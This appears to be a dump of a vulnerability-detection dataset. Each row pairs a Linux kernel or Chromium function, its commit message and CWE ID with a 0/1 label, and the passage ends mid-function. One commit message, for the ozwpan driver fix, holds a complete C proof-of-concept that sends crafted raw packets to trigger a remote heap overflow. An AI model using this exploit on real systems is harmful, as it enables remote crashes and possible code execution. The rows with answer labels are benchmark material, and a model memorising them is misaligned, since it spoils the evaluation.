instruction
stringclasses 1
value | input
stringlengths 64
129k
| output
int64 0
1
| __index_level_0__
int64 0
30k
|
|---|---|---|---|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void __netlink_deliver_tap(struct sk_buff *skb)
{
int ret;
struct netlink_tap *tmp;
if (!netlink_filter_tap(skb))
return;
list_for_each_entry_rcu(tmp, &netlink_tap_all, list) {
ret = __netlink_deliver_tap_skb(skb, tmp->dev);
if (unlikely(ret))
break;
}
}
Commit Message: net: rework recvmsg handler msg_name and msg_namelen logic
This patch now always passes msg->msg_namelen as 0. recvmsg handlers must
set msg_namelen to the proper size <= sizeof(struct sockaddr_storage)
to return msg_name to the user.
This prevents numerous uninitialized memory leaks we had in the
recvmsg handlers and makes it harder for new code to accidentally leak
uninitialized memory.
Optimize for the case recvfrom is called with NULL as address. We don't
need to copy the address at all, so set it to NULL before invoking the
recvmsg handler. We can do so, because all the recvmsg handlers must
cope with the case a plain read() is called on them. read() also sets
msg_name to NULL.
Also document these changes in include/linux/net.h as suggested by David
Miller.
Changes since RFC:
Set msg->msg_name = NULL if user specified a NULL in msg_name but had a
non-null msg_namelen in verify_iovec/verify_compat_iovec. This doesn't
affect sendto as it would bail out earlier while trying to copy-in the
address. It also more naturally reflects the logic by the callers of
verify_iovec.
With this change in place I could remove "
if (!uaddr || msg_sys->msg_namelen == 0)
msg->msg_name = NULL
".
This change does not alter the user visible error logic as we ignore
msg_namelen as long as msg_name is NULL.
Also remove two unnecessary curly brackets in ___sys_recvmsg and change
comments to netdev style.
Cc: David Miller <davem@davemloft.net>
Suggested-by: Eric Dumazet <eric.dumazet@gmail.com>
Signed-off-by: Hannes Frederic Sowa <hannes@stressinduktion.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
CWE ID: CWE-20
| 0
| 3,559
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: int BackendImpl::SyncInit() {
#if defined(NET_BUILD_STRESS_CACHE)
up_ticks_ = kTrimDelay * 2;
#endif
DCHECK(!init_);
if (init_)
return net::ERR_FAILED;
bool create_files = false;
if (!InitBackingStore(&create_files)) {
ReportError(ERR_STORAGE_ERROR);
return net::ERR_FAILED;
}
num_refs_ = num_pending_io_ = max_refs_ = 0;
entry_count_ = byte_count_ = 0;
bool should_create_timer = false;
if (!restarted_) {
buffer_bytes_ = 0;
trace_object_ = TraceObject::GetTraceObject();
should_create_timer = true;
}
init_ = true;
Trace("Init");
if (data_->header.experiment != NO_EXPERIMENT &&
cache_type_ != net::DISK_CACHE) {
return net::ERR_FAILED;
}
if (!(user_flags_ & kNoRandom)) {
new_eviction_ = (cache_type_ == net::DISK_CACHE);
}
if (!CheckIndex()) {
ReportError(ERR_INIT_FAILED);
return net::ERR_FAILED;
}
if (!restarted_ && (create_files || !data_->header.num_entries))
ReportError(ERR_CACHE_CREATED);
if (!(user_flags_ & kNoRandom) && cache_type_ == net::DISK_CACHE &&
!InitExperiment(&data_->header, create_files)) {
return net::ERR_FAILED;
}
data_->header.this_id++;
if (!data_->header.this_id)
data_->header.this_id++;
bool previous_crash = (data_->header.crash != 0);
data_->header.crash = 1;
if (!block_files_.Init(create_files))
return net::ERR_FAILED;
if (cache_type() == net::APP_CACHE) {
DCHECK(!new_eviction_);
read_only_ = true;
} else if (cache_type() == net::SHADER_CACHE) {
DCHECK(!new_eviction_);
}
eviction_.Init(this);
disabled_ = false;
if (!InitStats())
return net::ERR_FAILED;
disabled_ = !rankings_.Init(this, new_eviction_);
#if defined(STRESS_CACHE_EXTENDED_VALIDATION)
trace_object_->EnableTracing(false);
int sc = SelfCheck();
if (sc < 0 && sc != ERR_NUM_ENTRIES_MISMATCH)
NOTREACHED();
trace_object_->EnableTracing(true);
#endif
if (previous_crash) {
ReportError(ERR_PREVIOUS_CRASH);
} else if (!restarted_) {
ReportError(ERR_NO_ERROR);
}
FlushIndex();
if (!disabled_ && should_create_timer) {
DCHECK(background_queue_.BackgroundIsCurrentSequence());
int timer_delay = unit_test_ ? 1000 : 30000;
timer_.reset(new base::RepeatingTimer());
timer_->Start(FROM_HERE, TimeDelta::FromMilliseconds(timer_delay), this,
&BackendImpl::OnStatsTimer);
}
return disabled_ ? net::ERR_FAILED : net::OK;
}
Commit Message: Blockfile cache: fix long-standing sparse + evict reentrancy problem
Thanks to nedwilliamson@ (on gmail) for an alternative perspective
plus a reduction to make fixing this much easier.
Bug: 826626, 518908, 537063, 802886
Change-Id: Ibfa01416f9a8e7f7b361e4f93b4b6b134728b85f
Reviewed-on: https://chromium-review.googlesource.com/985052
Reviewed-by: Matt Menke <mmenke@chromium.org>
Commit-Queue: Maks Orlovich <morlovich@chromium.org>
Cr-Commit-Position: refs/heads/master@{#547103}
CWE ID: CWE-20
| 0
| 8,284
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool GestureSequence::PinchUpdate(const TouchEvent& event,
const GesturePoint& point, Gestures* gestures) {
DCHECK(state_ == GS_PINCH);
float distance = points_[0].Distance(points_[1]);
if (abs(distance - pinch_distance_current_) < kMinimumPinchUpdateDistance) {
if (!points_[0].DidScroll(event, kMinimumDistanceForPinchScroll) ||
!points_[1].DidScroll(event, kMinimumDistanceForPinchScroll))
return false;
gfx::Point center = points_[0].last_touch_position().Middle(
points_[1].last_touch_position());
AppendScrollGestureUpdate(point, center, gestures);
} else {
AppendPinchGestureUpdate(points_[0], points_[1],
distance / pinch_distance_current_, gestures);
pinch_distance_current_ = distance;
}
return true;
}
Commit Message: Add setters for the aura gesture recognizer constants.
BUG=113227
TEST=none
Review URL: http://codereview.chromium.org/9372040
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@122586 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-20
| 1
| 18,489
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: htmlParseFile(const char *filename, const char *encoding) {
return(htmlSAXParseFile(filename, encoding, NULL, NULL));
}
Commit Message: Roll libxml to 3939178e4cb797417ff033b1e04ab4b038e224d9
Removes a few patches fixed upstream:
https://git.gnome.org/browse/libxml2/commit/?id=e26630548e7d138d2c560844c43820b6767251e3
https://git.gnome.org/browse/libxml2/commit/?id=94691dc884d1a8ada39f073408b4bb92fe7fe882
Stops using the NOXXE flag which was reverted upstream:
https://git.gnome.org/browse/libxml2/commit/?id=030b1f7a27c22f9237eddca49ec5e620b6258d7d
Changes the patch to uri.c to not add limits.h, which is included
upstream.
Bug: 722079
Change-Id: I4b8449ed33f95de23c54c2cde99970c2df2781ac
Reviewed-on: https://chromium-review.googlesource.com/535233
Reviewed-by: Scott Graham <scottmg@chromium.org>
Commit-Queue: Dominic Cooney <dominicc@chromium.org>
Cr-Commit-Position: refs/heads/master@{#480755}
CWE ID: CWE-787
| 0
| 9,221
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void ProfileSyncService::GetModelSafeRoutingInfo(
browser_sync::ModelSafeRoutingInfo* out) const {
if (backend_.get() && backend_initialized_) {
backend_->GetModelSafeRoutingInfo(out);
} else {
NOTREACHED();
}
}
Commit Message: [Sync] Cleanup all tab sync enabling logic now that its on by default.
BUG=none
TEST=
Review URL: https://chromiumcodereview.appspot.com/10443046
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@139462 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-362
| 0
| 29,982
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool GLES2DecoderImpl::DoIsEnabled(GLenum cap) {
switch (cap) {
case GL_BLEND:
return enable_blend_;
case GL_CULL_FACE:
return enable_cull_face_;
case GL_SCISSOR_TEST:
return enable_scissor_test_;
case GL_DEPTH_TEST:
return enable_depth_test_;
case GL_STENCIL_TEST:
return enable_stencil_test_;
default:
return glIsEnabled(cap) != 0;
}
}
Commit Message: Fix SafeAdd and SafeMultiply
BUG=145648,145544
Review URL: https://chromiumcodereview.appspot.com/10916165
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@155478 0039d316-1c4b-4281-b951-d872f2087c98
CWE ID: CWE-189
| 0
| 16,368
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: WebFormControlElement GetFormControlElementById(const WebString& id) {
return GetMainFrame()
->GetDocument()
.GetElementById(id)
.To<WebFormControlElement>();
}
Commit Message: [autofill] Pin preview font-family to a system font
Bug: 916838
Change-Id: I4e874105262f2e15a11a7a18a7afd204e5827400
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1423109
Reviewed-by: Fabio Tirelo <ftirelo@chromium.org>
Reviewed-by: Koji Ishii <kojii@chromium.org>
Commit-Queue: Roger McFarlane <rogerm@chromium.org>
Cr-Commit-Position: refs/heads/master@{#640884}
CWE ID: CWE-200
| 0
| 21,556
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int decrypt(struct blkcipher_desc *desc, struct scatterlist *dst,
struct scatterlist *src, unsigned int nbytes)
{
struct priv *ctx = crypto_blkcipher_ctx(desc->tfm);
struct blkcipher_walk w;
blkcipher_walk_init(&w, dst, src, nbytes);
return crypt(desc, &w, ctx, crypto_cipher_alg(ctx->tweak)->cia_encrypt,
crypto_cipher_alg(ctx->child)->cia_decrypt);
}
Commit Message: crypto: include crypto- module prefix in template
This adds the module loading prefix "crypto-" to the template lookup
as well.
For example, attempting to load 'vfat(blowfish)' via AF_ALG now correctly
includes the "crypto-" prefix at every level, correctly rejecting "vfat":
net-pf-38
algif-hash
crypto-vfat(blowfish)
crypto-vfat(blowfish)-all
crypto-vfat
Reported-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: Kees Cook <keescook@chromium.org>
Acked-by: Mathias Krause <minipli@googlemail.com>
Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>
CWE ID: CWE-264
| 0
| 19,531
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: status_t CameraDeviceClient::createDefaultRequest(int templateId,
/*out*/
CameraMetadata* request)
{
ATRACE_CALL();
ALOGV("%s (templateId = 0x%x)", __FUNCTION__, templateId);
status_t res;
if ( (res = checkPid(__FUNCTION__) ) != OK) return res;
Mutex::Autolock icl(mBinderSerializationLock);
if (!mDevice.get()) return DEAD_OBJECT;
CameraMetadata metadata;
if ( (res = mDevice->createDefaultRequest(templateId, &metadata) ) == OK &&
request != NULL) {
request->swap(metadata);
}
return res;
}
Commit Message: Camera: Disallow dumping clients directly
Camera service dumps should only be initiated through
ICameraService::dump.
Bug: 26265403
Change-Id: If3ca4718ed74bf33ad8a416192689203029e2803
CWE ID: CWE-264
| 0
| 12,403
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static inline void evmcs_write64(unsigned long field, u64 value)
{
u16 clean_field;
int offset = get_evmcs_offset(field, &clean_field);
if (offset < 0)
return;
*(u64 *)((char *)current_evmcs + offset) = value;
current_evmcs->hv_clean_fields &= ~clean_field;
}
Commit Message: kvm: nVMX: Enforce cpl=0 for VMX instructions
VMX instructions executed inside a L1 VM will always trigger a VM exit
even when executed with cpl 3. This means we must perform the
privilege check in software.
Fixes: 70f3aac964ae("kvm: nVMX: Remove superfluous VMX instruction fault checks")
Cc: stable@vger.kernel.org
Signed-off-by: Felix Wilhelm <fwilhelm@google.com>
Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
CWE ID:
| 0
| 26,165
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void Document::DispatchUnloadEvents() {
PluginScriptForbiddenScope forbid_plugin_destructor_scripting;
if (parser_)
parser_->StopParsing();
if (load_event_progress_ == kLoadEventNotRun)
return;
if (load_event_progress_ <= kUnloadEventInProgress) {
Element* current_focused_element = FocusedElement();
if (auto* input = ToHTMLInputElementOrNull(current_focused_element))
input->EndEditing();
if (load_event_progress_ < kPageHideInProgress) {
load_event_progress_ = kPageHideInProgress;
if (LocalDOMWindow* window = domWindow()) {
const TimeTicks pagehide_event_start = CurrentTimeTicks();
window->DispatchEvent(
*PageTransitionEvent::Create(EventTypeNames::pagehide, false),
this);
const TimeTicks pagehide_event_end = CurrentTimeTicks();
DEFINE_STATIC_LOCAL(
CustomCountHistogram, pagehide_histogram,
("DocumentEventTiming.PageHideDuration", 0, 10000000, 50));
pagehide_histogram.CountMicroseconds(pagehide_event_end -
pagehide_event_start);
}
if (!frame_)
return;
mojom::PageVisibilityState visibility_state = GetPageVisibilityState();
load_event_progress_ = kUnloadVisibilityChangeInProgress;
if (visibility_state != mojom::PageVisibilityState::kHidden) {
const TimeTicks pagevisibility_hidden_event_start = CurrentTimeTicks();
DispatchEvent(*Event::CreateBubble(EventTypeNames::visibilitychange));
const TimeTicks pagevisibility_hidden_event_end = CurrentTimeTicks();
DEFINE_STATIC_LOCAL(CustomCountHistogram, pagevisibility_histogram,
("DocumentEventTiming.PageVibilityHiddenDuration",
0, 10000000, 50));
pagevisibility_histogram.CountMicroseconds(
pagevisibility_hidden_event_end -
pagevisibility_hidden_event_start);
DispatchEvent(
*Event::CreateBubble(EventTypeNames::webkitvisibilitychange));
}
if (!frame_)
return;
frame_->Loader().SaveScrollAnchor();
DocumentLoader* document_loader =
frame_->Loader().GetProvisionalDocumentLoader();
load_event_progress_ = kUnloadEventInProgress;
Event& unload_event = *Event::Create(EventTypeNames::unload);
if (document_loader &&
document_loader->GetTiming().UnloadEventStart().is_null() &&
document_loader->GetTiming().UnloadEventEnd().is_null()) {
DocumentLoadTiming& timing = document_loader->GetTiming();
DCHECK(!timing.NavigationStart().is_null());
const TimeTicks unload_event_start = CurrentTimeTicks();
timing.MarkUnloadEventStart(unload_event_start);
frame_->DomWindow()->DispatchEvent(unload_event, this);
const TimeTicks unload_event_end = CurrentTimeTicks();
DEFINE_STATIC_LOCAL(
CustomCountHistogram, unload_histogram,
("DocumentEventTiming.UnloadDuration", 0, 10000000, 50));
unload_histogram.CountMicroseconds(unload_event_end -
unload_event_start);
timing.MarkUnloadEventEnd(unload_event_end);
} else {
frame_->DomWindow()->DispatchEvent(unload_event, frame_->GetDocument());
}
}
load_event_progress_ = kUnloadEventHandled;
}
if (!frame_)
return;
bool keep_event_listeners =
frame_->Loader().GetProvisionalDocumentLoader() &&
frame_->ShouldReuseDefaultView(
frame_->Loader().GetProvisionalDocumentLoader()->Url(),
frame_->Loader()
.GetProvisionalDocumentLoader()
->GetContentSecurityPolicy());
if (!keep_event_listeners)
RemoveAllEventListenersRecursively();
}
Commit Message: Inherit CSP when self-navigating to local-scheme URL
As the linked bug example shows, we should inherit CSP when we navigate
to a local-scheme URL (even if we are in a main browsing context).
Bug: 799747
Change-Id: I8413aa8e8049461ebcf0ffbf7b04c41d1340af02
Reviewed-on: https://chromium-review.googlesource.com/c/1234337
Reviewed-by: Mike West <mkwst@chromium.org>
Commit-Queue: Andy Paicu <andypaicu@chromium.org>
Cr-Commit-Position: refs/heads/master@{#597889}
CWE ID:
| 0
| 29,543
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: bool Textfield::OnMouseWheel(const ui::MouseWheelEvent& event) {
return controller_ && controller_->HandleMouseEvent(this, event);
}
Commit Message: MacViews: Enable secure text input for password Textfields.
In Cocoa the NSTextInputContext automatically enables secure text input
when activated and it's in the secure text entry mode.
RenderWidgetHostViewMac did the similar thing for ages following the
WebKit example.
views::Textfield needs to do the same thing in a fashion that's
sycnrhonized with RenderWidgetHostViewMac, otherwise the race conditions
are possible when the Textfield gets focus, activates the secure text
input mode and the RWHVM loses focus immediately afterwards and disables
the secure text input instead of leaving it in the enabled state.
BUG=818133,677220
Change-Id: I6db6c4b59e4a1a72cbb7f8c7056f71b04a3df08b
Reviewed-on: https://chromium-review.googlesource.com/943064
Commit-Queue: Michail Pishchagin <mblsha@yandex-team.ru>
Reviewed-by: Pavel Feldman <pfeldman@chromium.org>
Reviewed-by: Avi Drissman <avi@chromium.org>
Reviewed-by: Peter Kasting <pkasting@chromium.org>
Cr-Commit-Position: refs/heads/master@{#542517}
CWE ID:
| 0
| 15,038
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static int oz_build_endpoints_for_interface(struct usb_hcd *hcd,
struct oz_port *port,
struct usb_host_interface *intf, gfp_t mem_flags)
{
struct oz_hcd *ozhcd = port->ozhcd;
int i;
int if_ix = intf->desc.bInterfaceNumber;
int request_heartbeat = 0;
oz_dbg(ON, "interface[%d] = %p\n", if_ix, intf);
if (if_ix >= port->num_iface || port->iface == NULL)
return -ENOMEM;
for (i = 0; i < intf->desc.bNumEndpoints; i++) {
struct usb_host_endpoint *hep = &intf->endpoint[i];
u8 ep_addr = hep->desc.bEndpointAddress;
u8 ep_num = ep_addr & USB_ENDPOINT_NUMBER_MASK;
struct oz_endpoint *ep;
int buffer_size = 0;
oz_dbg(ON, "%d bEndpointAddress = %x\n", i, ep_addr);
if (ep_addr & USB_ENDPOINT_DIR_MASK) {
switch (hep->desc.bmAttributes &
USB_ENDPOINT_XFERTYPE_MASK) {
case USB_ENDPOINT_XFER_ISOC:
buffer_size = OZ_EP_BUFFER_SIZE_ISOC;
break;
case USB_ENDPOINT_XFER_INT:
buffer_size = OZ_EP_BUFFER_SIZE_INT;
break;
}
}
ep = oz_ep_alloc(buffer_size, mem_flags);
if (!ep) {
oz_clean_endpoints_for_interface(hcd, port, if_ix);
return -ENOMEM;
}
ep->attrib = hep->desc.bmAttributes;
ep->ep_num = ep_num;
if ((ep->attrib & USB_ENDPOINT_XFERTYPE_MASK)
== USB_ENDPOINT_XFER_ISOC) {
oz_dbg(ON, "wMaxPacketSize = %d\n",
usb_endpoint_maxp(&hep->desc));
ep->credit_ceiling = 200;
if (ep_addr & USB_ENDPOINT_DIR_MASK) {
ep->flags |= OZ_F_EP_BUFFERING;
} else {
ep->flags |= OZ_F_EP_HAVE_STREAM;
if (oz_usb_stream_create(port->hpd, ep_num))
ep->flags &= ~OZ_F_EP_HAVE_STREAM;
}
}
spin_lock_bh(&ozhcd->hcd_lock);
if (ep_addr & USB_ENDPOINT_DIR_MASK) {
port->in_ep[ep_num] = ep;
port->iface[if_ix].ep_mask |=
(1<<(ep_num+OZ_NB_ENDPOINTS));
if ((ep->attrib & USB_ENDPOINT_XFERTYPE_MASK)
== USB_ENDPOINT_XFER_ISOC) {
list_add_tail(&ep->link, &port->isoc_in_ep);
request_heartbeat = 1;
}
} else {
port->out_ep[ep_num] = ep;
port->iface[if_ix].ep_mask |= (1<<ep_num);
if ((ep->attrib & USB_ENDPOINT_XFERTYPE_MASK)
== USB_ENDPOINT_XFER_ISOC) {
list_add_tail(&ep->link, &port->isoc_out_ep);
request_heartbeat = 1;
}
}
spin_unlock_bh(&ozhcd->hcd_lock);
if (request_heartbeat && port->hpd)
oz_usb_request_heartbeat(port->hpd);
}
return 0;
}
Commit Message: ozwpan: Use unsigned ints to prevent heap overflow
Using signed integers, the subtraction between required_size and offset
could wind up being negative, resulting in a memcpy into a heap buffer
with a negative length, resulting in huge amounts of network-supplied
data being copied into the heap, which could potentially lead to remote
code execution.. This is remotely triggerable with a magic packet.
A PoC which obtains DoS follows below. It requires the ozprotocol.h file
from this module.
=-=-=-=-=-=
#include <arpa/inet.h>
#include <linux/if_packet.h>
#include <net/if.h>
#include <netinet/ether.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <endian.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define u8 uint8_t
#define u16 uint16_t
#define u32 uint32_t
#define __packed __attribute__((__packed__))
#include "ozprotocol.h"
static int hex2num(char c)
{
if (c >= '0' && c <= '9')
return c - '0';
if (c >= 'a' && c <= 'f')
return c - 'a' + 10;
if (c >= 'A' && c <= 'F')
return c - 'A' + 10;
return -1;
}
static int hwaddr_aton(const char *txt, uint8_t *addr)
{
int i;
for (i = 0; i < 6; i++) {
int a, b;
a = hex2num(*txt++);
if (a < 0)
return -1;
b = hex2num(*txt++);
if (b < 0)
return -1;
*addr++ = (a << 4) | b;
if (i < 5 && *txt++ != ':')
return -1;
}
return 0;
}
int main(int argc, char *argv[])
{
if (argc < 3) {
fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]);
return 1;
}
uint8_t dest_mac[6];
if (hwaddr_aton(argv[2], dest_mac)) {
fprintf(stderr, "Invalid mac address.\n");
return 1;
}
int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW);
if (sockfd < 0) {
perror("socket");
return 1;
}
struct ifreq if_idx;
int interface_index;
strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1);
if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) {
perror("SIOCGIFINDEX");
return 1;
}
interface_index = if_idx.ifr_ifindex;
if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) {
perror("SIOCGIFHWADDR");
return 1;
}
uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data;
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_elt_connect_req oz_elt_connect_req;
} __packed connect_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(0)
},
.oz_elt = {
.type = OZ_ELT_CONNECT_REQ,
.length = sizeof(struct oz_elt_connect_req)
},
.oz_elt_connect_req = {
.mode = 0,
.resv1 = {0},
.pd_info = 0,
.session_id = 0,
.presleep = 35,
.ms_isoc_latency = 0,
.host_vendor = 0,
.keep_alive = 0,
.apps = htole16((1 << OZ_APPID_USB) | 0x1),
.max_len_div16 = 0,
.ms_per_isoc = 0,
.up_audio_buf = 0,
.ms_per_elt = 0
}
};
struct {
struct ether_header ether_header;
struct oz_hdr oz_hdr;
struct oz_elt oz_elt;
struct oz_get_desc_rsp oz_get_desc_rsp;
} __packed pwn_packet = {
.ether_header = {
.ether_type = htons(OZ_ETHERTYPE),
.ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] },
.ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
},
.oz_hdr = {
.control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT),
.last_pkt_num = 0,
.pkt_num = htole32(1)
},
.oz_elt = {
.type = OZ_ELT_APP_DATA,
.length = sizeof(struct oz_get_desc_rsp)
},
.oz_get_desc_rsp = {
.app_id = OZ_APPID_USB,
.elt_seq_num = 0,
.type = OZ_GET_DESC_RSP,
.req_id = 0,
.offset = htole16(2),
.total_size = htole16(1),
.rcode = 0,
.data = {0}
}
};
struct sockaddr_ll socket_address = {
.sll_ifindex = interface_index,
.sll_halen = ETH_ALEN,
.sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] }
};
if (sendto(sockfd, &connect_packet, sizeof(connect_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
usleep(300000);
if (sendto(sockfd, &pwn_packet, sizeof(pwn_packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) {
perror("sendto");
return 1;
}
return 0;
}
Signed-off-by: Jason A. Donenfeld <Jason@zx2c4.com>
Acked-by: Dan Carpenter <dan.carpenter@oracle.com>
Cc: stable <stable@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
CWE ID: CWE-189
| 0
| 19,778
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: void AppCacheUpdateJob::OnGroupAndNewestCacheStored(AppCacheGroup* group,
AppCache* newest_cache,
bool success,
bool would_exceed_quota) {
DCHECK(stored_state_ == STORING);
if (success) {
stored_state_ = STORED;
MaybeCompleteUpdate(); // will definitely complete
return;
}
stored_state_ = UNSTORED;
if (newest_cache != group->newest_complete_cache())
inprogress_cache_ = newest_cache;
ResultType result = DB_ERROR;
blink::mojom::AppCacheErrorReason reason =
blink::mojom::AppCacheErrorReason::APPCACHE_UNKNOWN_ERROR;
std::string message("Failed to commit new cache to storage");
if (would_exceed_quota) {
message.append(", would exceed quota");
result = QUOTA_ERROR;
reason = blink::mojom::AppCacheErrorReason::APPCACHE_QUOTA_ERROR;
}
HandleCacheFailure(blink::mojom::AppCacheErrorDetails(
message, reason, GURL(), 0, false /*is_cross_origin*/),
result, GURL());
}
Commit Message: Reland "AppCache: Add padding to cross-origin responses."
This is a reland of 85b389caa7d725cdd31f59e9a2b79ff54804b7b7
Initialized CacheRecord::padding_size to 0.
Original change's description:
> AppCache: Add padding to cross-origin responses.
>
> Bug: 918293
> Change-Id: I4f16640f06feac009d6bbbb624951da6d2669f6c
> Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1488059
> Commit-Queue: Staphany Park <staphany@chromium.org>
> Reviewed-by: Victor Costan <pwnall@chromium.org>
> Reviewed-by: Marijn Kruisselbrink <mek@chromium.org>
> Cr-Commit-Position: refs/heads/master@{#644624}
Bug: 918293
Change-Id: Ie1d3f99c7e8a854d33255a4d66243da2ce16441c
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/1539906
Reviewed-by: Victor Costan <pwnall@chromium.org>
Commit-Queue: Staphany Park <staphany@chromium.org>
Cr-Commit-Position: refs/heads/master@{#644719}
CWE ID: CWE-200
| 0
| 24,664
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: unsigned long hugetlb_change_protection(struct vm_area_struct *vma,
unsigned long address, unsigned long end, pgprot_t newprot)
{
struct mm_struct *mm = vma->vm_mm;
unsigned long start = address;
pte_t *ptep;
pte_t pte;
struct hstate *h = hstate_vma(vma);
unsigned long pages = 0;
bool shared_pmd = false;
struct mmu_notifier_range range;
/*
* In the case of shared PMDs, the area to flush could be beyond
* start/end. Set range.start/range.end to cover the maximum possible
* range if PMD sharing is possible.
*/
mmu_notifier_range_init(&range, mm, start, end);
adjust_range_if_pmd_sharing_possible(vma, &range.start, &range.end);
BUG_ON(address >= end);
flush_cache_range(vma, range.start, range.end);
mmu_notifier_invalidate_range_start(&range);
i_mmap_lock_write(vma->vm_file->f_mapping);
for (; address < end; address += huge_page_size(h)) {
spinlock_t *ptl;
ptep = huge_pte_offset(mm, address, huge_page_size(h));
if (!ptep)
continue;
ptl = huge_pte_lock(h, mm, ptep);
if (huge_pmd_unshare(mm, &address, ptep)) {
pages++;
spin_unlock(ptl);
shared_pmd = true;
continue;
}
pte = huge_ptep_get(ptep);
if (unlikely(is_hugetlb_entry_hwpoisoned(pte))) {
spin_unlock(ptl);
continue;
}
if (unlikely(is_hugetlb_entry_migration(pte))) {
swp_entry_t entry = pte_to_swp_entry(pte);
if (is_write_migration_entry(entry)) {
pte_t newpte;
make_migration_entry_read(&entry);
newpte = swp_entry_to_pte(entry);
set_huge_swap_pte_at(mm, address, ptep,
newpte, huge_page_size(h));
pages++;
}
spin_unlock(ptl);
continue;
}
if (!huge_pte_none(pte)) {
pte = huge_ptep_get_and_clear(mm, address, ptep);
pte = pte_mkhuge(huge_pte_modify(pte, newprot));
pte = arch_make_huge_pte(pte, vma, NULL, 0);
set_huge_pte_at(mm, address, ptep, pte);
pages++;
}
spin_unlock(ptl);
}
/*
* Must flush TLB before releasing i_mmap_rwsem: x86's huge_pmd_unshare
* may have cleared our pud entry and done put_page on the page table:
* once we release i_mmap_rwsem, another task can do the final put_page
* and that page table be reused and filled with junk. If we actually
* did unshare a page of pmds, flush the range corresponding to the pud.
*/
if (shared_pmd)
flush_hugetlb_tlb_range(vma, range.start, range.end);
else
flush_hugetlb_tlb_range(vma, start, end);
/*
* No need to call mmu_notifier_invalidate_range() we are downgrading
* page table protection not changing it to point to a new page.
*
* See Documentation/vm/mmu_notifier.rst
*/
i_mmap_unlock_write(vma->vm_file->f_mapping);
mmu_notifier_invalidate_range_end(&range);
return pages << h->order;
}
Commit Message: mm: prevent get_user_pages() from overflowing page refcount
If the page refcount wraps around past zero, it will be freed while
there are still four billion references to it. One of the possible
avenues for an attacker to try to make this happen is by doing direct IO
on a page multiple times. This patch makes get_user_pages() refuse to
take a new page reference if there are already more than two billion
references to the page.
Reported-by: Jann Horn <jannh@google.com>
Acked-by: Matthew Wilcox <willy@infradead.org>
Cc: stable@kernel.org
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
CWE ID: CWE-416
| 0
| 13,849
|
Analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'.
|
Code: static void __ip_vs_del_dest(struct net *net, struct ip_vs_dest *dest)
{
struct netns_ipvs *ipvs = net_ipvs(net);
